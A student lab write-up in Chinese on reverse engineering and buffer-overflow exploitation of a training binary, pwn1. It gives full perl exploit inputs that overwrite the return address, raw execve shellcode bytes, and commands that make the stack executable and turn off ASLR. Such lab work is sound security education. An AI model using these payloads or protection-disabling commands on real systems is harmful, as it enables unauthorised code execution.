Exp1 PC平臺逆向破解
1. 逆向及Bof基礎實踐
1.1 實踐目標
本次實踐的對象是一個名為pwn1的linux可執行文件。
該程序正常執行流程是:main調用foo函數,foo函數會簡單回顯任何用戶輸入的字符串。
該程序同時包含另一個代碼片段,getShell,會返回一個可用Shell。正常情況下這個代碼是不會被運行的。我們實踐的目標就是想辦法運行這個代碼片段。我們將學習兩種方法運行這個代碼片段,然後學習如何註入運行任何Shellcode。
三個實踐內容如下
- 手工修改可執行文件,改變程序執行流程,直接跳轉到getShell函數。
- 利用foo函數的Bof漏洞,構造一個攻擊輸入字符串,覆蓋返回地址,觸發getShell函數。
註入一個自己制作的shellcode並運行這段shellcode。
這幾種思路,基本代表現實情況中的攻擊目標:
- 運行原本不可訪問的代碼片段
- 強行修改程序執行流
以及註入運行任意代碼。
1.2 直接修改程序機器指令,改變程序執行流程
1.2.1 常見匯編指令
命令類指令
MOV----> move 傳送字或字節
PUSH---->push 把字壓入堆棧
POP---->pop 把字彈出堆棧
程序轉移指令 ---無條件轉移指令(長轉移)
JMP---->jump 無條件轉移指令 CALL---->call 過程調用 RET---->return 過程返回 RETF---->return far 過程返回
1.2.2直接修改程序機器指令,改變程序執行流程
首先,利用objdump -d pwn1
指令對pwn1進行反匯編,從圖中可以看到核心代碼。
從main
函數中看到程序調用了位於地址8048491處的foo
函數,還可以看到存在一個getshell
函數,這就是我們要跳轉的目標。
main
函數調用foo
對應的機器指令為e8 d7 ff ff ff
。其中e8
是跳轉的意思,此時此刻EIP的值是下條指令的地址:80484ba
,這時CPU會執行EIP+d7ffffff
指令,d7ffffff
是補碼。則80484ba +d7ffffff= 0x80484ba-0x29=0x8048491
,這與後面call 8048491<foo>
所以我們的目標是修改機器指令,讓它調用getshell,即計算0x0804847d-0x0x8048491=-3D
。計算補碼為11000011=c3
。之後利用vim修改機器指令。
1.2.3通過構造輸入參數,造成BOF攻擊,改變程序執行流
利用gdb確定輸入字符串哪幾個字符會覆蓋到返回地址,經過嘗試發現eip 0x35353535 0x35353535
,對應數字5,再輸入確定堆棧的狀態。
這時發現eip中顯示0x34333231
,則 1234 那四個數最終會覆蓋到堆棧上的返回地址,。所以只要把這四個字符替換為 getShell 的內存地址,輸給pwn2,pwn2就會運行getShell。
我們已經知道getshell內存地址為0804847d
,反匯編輸入11111111222222223333333344444444\x7d\x84\x04\x08
。
因為沒法通過鍵盤直接輸入16進制數值,所以利用perl。
perl -e ‘print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"‘ > input
其中\x0a表示回車。生成input文件,之後將input作為輸入,(cat input; cat) | ./pwn2
,之後就能運行指令了。
1.2.4. 註入Shellcode並執行
準備一段Shellcode。
要註意的是,堆棧內存區設置為不可執行。這樣即使是註入的shellcode到堆棧上,也執行不了。輸入命令execstack -s pwn2
設置堆棧可執行。
通過execstack -q pwn2
查看堆棧是否可執行。
shellcode中需要猜測返回地址的位置,需要猜測shellcode註入後的內存位置。這些都極度依賴一個事實:應用的代碼段、堆棧段每次都被OS放置到固定的內存地址。ALSR,地址隨機化就是讓OS每次都用不同的地址加載應用。這樣通過預先反匯編或調試得到的那些地址就都不正確了。使用more /proc/sys/kernel/randomize_va_space
命令查看是否開啟地址隨機化。
其中
- 0表示關閉進程地址空間隨機化。
- 1表示將mmap的基址,stack和vdso頁面隨機化。
- 2表示在1的基礎上增加棧(heap)的隨機化。
使用echo "0" > /proc/sys/kernel/randomize_va_space
命令關閉進程地址空間隨機化。
Linux構造buf的兩種方法
- retaddr+nop+shellcode
- nop+shellcode+retaddr // 緩沖區足夠大
經過嘗試,只能使用retaddr+nop+shellcode
構造。
使用命令perl -e ‘print "A" x 32;print "\x04\x03\x02\x01\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"‘ > input_shellcode
,構造輸入。
前面的32個A用來填滿buffer,\x04\x03\x02\x01
為預留的返回地址,剩下部分為shellcode。
查看pid,並用gdb在foo函數的ret位置設置斷點,在運行窗口敲回車,回到gdb查看esp寄存器,可知地址應為0xffffd330
,修改input文件預留的地址。
成功。
Exp1 PC平臺逆向破解